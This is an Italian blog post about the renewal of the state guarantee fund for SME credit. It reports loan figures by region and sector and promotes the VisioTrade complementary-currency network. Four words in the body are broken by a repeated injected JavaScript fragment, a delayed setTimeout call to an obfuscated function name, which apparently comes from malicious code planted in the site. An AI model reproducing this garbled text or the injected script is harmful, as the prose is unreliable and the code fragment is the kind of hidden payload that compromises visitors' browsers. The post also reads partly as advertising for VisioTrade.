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Fondo di Garanzia del Credito per le PMI rinnovato anche per il 2016

Pubblicato il 2 settembre 2015
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Credito PMICredito e finanziamenti per le PMI sono le principali note dolenti di una crisi economica che solo in questi mesi sembra attenuarsi. Per anni le piccole e medie imprese hanno dovuto rimandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andare acquisti, investimenti e assunzioni oppure aderire a progetti innovativi come la moneta complementare per ottenere la liquidità necessaria a sviluppare il proprio business.

Dal 2000 è stato costituito il Fondo di Garanzia per le PMI. Il successo dell’iniziativa risiede nella garanzia che lo stato presta ai creditori in caso di insolvenza dell’impresa debitrice, in questo modo la liquidità iniettata nel sistema-mercato da parte delle Banche Centrali dovrebbe arrivare a destinazione, risollevandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando i consumi e la produzione industriale. Ad oggi sono stati erogati oltre 40 miliardi di euro di crediti agevolati in 15 anni.

Per l’anno in corso, nel primo semestre, si sono registrate circa 50 mila operazioni di finanziamento a 36 mila imprese accreditate, per un’erogazione complessiva di 7,3 miliardi di euro. La transazione media è attualmente di 147 mila euro (dato in aumento rispetto ai periodi precedenti grazie all’ampliamento delle garanzie del Fondo per i progetti di medio lungo periodo, nelle regioni centro settentrionali e per il settore dei trasporti).

I finanziamenti si concentrano al nord con oltre 13 miliardi di euro erogati solo tra Lombardia, Piemonte e Veneto, mentre al sud spicca la Campania con quasi 5 miliardi. Mentre, un pò a sorpresa, il settore merceologico più attivo è stato quello industriale, seguito dal commercio e solo ultimo il comparto dei servizi (rispettivamente con 22, 18 e 8 mila domandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande soddisfatte).

Per questi motivi l’esecutivo sta ricercandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando nuove risorse al fine di rifinanziare il progetto anche per il 2016.

Questa lodevole iniziativa dimostra come il nostro paese abbia un indiscutibile bisogno di credito per sviluppare idee e progetti nati dal genio made in Italy; negli ultimi 5 anni VisioTrade e la moneta complementare si sono spesso sostituiti alle istituzioni, garantendo credito e liquidità alle micro, piccole e medie imprese sul territorio. Solo nel 2015 il Commerce Network supererà i 110 milioni di euro di transazioni in moneta complementare: un micro PIL che ha aiutato l’economia italiana ad uscire dalla recessione e a tornare a crescere.

2 commenti

  1. bio notte e giorno srl torino

    3 settembre 2015 at 10:24

    meno male che esiste VISIOTRADE

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